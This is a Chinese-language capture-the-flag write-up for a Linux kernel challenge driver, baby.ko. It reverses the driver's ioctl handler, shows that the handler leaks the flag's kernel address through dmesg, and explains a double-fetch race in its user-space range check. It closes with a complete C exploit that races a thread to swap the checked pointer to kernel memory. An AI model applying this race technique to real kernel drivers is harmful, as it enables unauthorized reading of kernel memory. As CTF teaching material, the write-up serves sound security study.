文章目录
这个题目其实总体来说漏洞不算复杂,就是一个挺简单的条件竞争
题目
附件
附件
这里面其实只需要下载.tar.gz
附件分析
别被命名欺骗了,其实只是个tar
这里的core.cpio是没有压缩过的,所以我们只需要这样就可以
这里面exp,exp,c core.cpio,以及fs.sh都可以删了
fs.sh其实就是帮我们生成cpio
分析init
这里可以看到驱动就是baby.ko,对应的打开/dev/baby就可以访问,别的就没什么好说的,这里由于没有开启dmesg_restrict,所以我们可以通过执行dmesg查看printk的内容
再打包一份core.cpio
分析start.sh
没有开启SMAP保护,也就是内核态可以直接访问用户态数据
这里就是配置了非单核单线程启动,可以触发条件竞争,处于可能的调试,我们加上-s
分析驱动
这个里面函数不多,下面三个没什么用,主要上面三个
ioctl
这里不知道怎么回事,我识别有点问题,v2就是我们第三个参数
这里其实就是当我们ioctl(fd,a2,a3)直接调用
sub_25(fd,a2,a3),那么我们分析一下sub_25
sub_25
两个功能
第一个功能泄露flag内核地址,这里答应的是%p,也就是把flag里面保存的地址打出来,可以看到也就是aFlagThisWillbe的地址
这里面保存着我们最后flag
这是第二个功能
chk_range_not_ok
这里其实就是
return shangxian<(addr+pianyi)
那我们看看后面那个上限是什么意思
这里我们通过调试来看一下吧
十分简单的测试代码
#include<sys/ioctl.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
int fd=open("/dev/baby",2);
int a=2;
ioctl(fd, 0x1337, &a);
close(fd);
}
这里有一个问题,希望有大佬可以解答
一般我们都是通过这种方法找加载地址,但这个明显是错的
通过这里我找到了地址
修改后的init,因为flag硬编码在了驱动里,测试flag我也删了
rax赋值位current_task
rdx值如上,看着是不是很熟悉,没错这个就是用户态的最高地址,所以通过调试我们发现,*(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952)
就是用户态的最高地址
那么结合具体if内容,要想满足if
指令=0x1337
shangxian>=传入的地址+16
shangxian>=(Doward)传入的地址+*(int *)传入的地址+8
这两个比较其实是这个意思
我们传入的其实是个结构体的地址
struct flag_object{
long flag_addr;
long length;
}
所以第一个shangxian比较是判断我们传入的结构体的地址是不是用户态
第二个判断是我们的flag是不是用户态
由于这里传入的是指针,我们可以利用条件竞争,当他过了if之后,我们把结构体的flag_addr修改为内核态
长度也要匹配,strlen不包括\0,所以是33
同时这个里面还会逐个比较flag是不是一样,一样才会打印,所以我们只能通过条件竞争修改指针
攻击
泄露flag地址
因为printk只会显示在调试信息里,所以我们执行对应操作后要查看dmesg,当然这里dmesg_restrict=0,也就是普通用户也可以看,然后哦就是比较加上赋值
构造我们的flag结构体
编写修改flag的子函数
finish就是个标志,我们在主函数里面发送足够多次的请求之后就设为1
exp
#include<sys/ioctl.h>
#include<fcntl.h>
#include <unistd.h>
#include<pthread.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
long flag_addr;
void get_kernel_flag_addr(int fd){
ioctl(fd,0x6666, 1);
system("dmesg|tail >/tmp/1.txt");
FILE *fd1=fopen("/tmp/1.txt","r");
char buf[120];
while(fgets(buf,120,fd1)){
if(strstr(buf,"Your flag is at")){
char hex[17];
strncpy(hex,buf+31,16);
sscanf(hex,"%lx",&flag_addr);
break;
}
}
fclose(fd1);
}
struct flag_structure{
long addr;
long len;
};
char fake_flag[]="fake";
int finish=0;
void chang_flag_addr(struct flag_structure *s){
while(finish==0){
s->addr=flag_addr;//修改为内核flag地址,回调函数
}
}
int main(){
int fd=open("/dev/baby",2);
get_kernel_flag_addr(fd);
struct flag_structure flag;
flag.addr=(long)fake_flag;
flag.len=33;
pthread_t p1;
pthread_create(&p1, NULL,chang_flag_addr,&flag);//first parm is addr of pthread object,second set NULL,third is the callback_fun addr,fourth is the param
for(int i=0;i<10000;i++)
{
ioctl(fd, 0x1337, &flag);
flag.addr=(long )fake_flag;//we must modify addr to user space ,otherwith we can not pass if check
}
finish=1;
system("dmesg|grep flag{");
close(fd);
}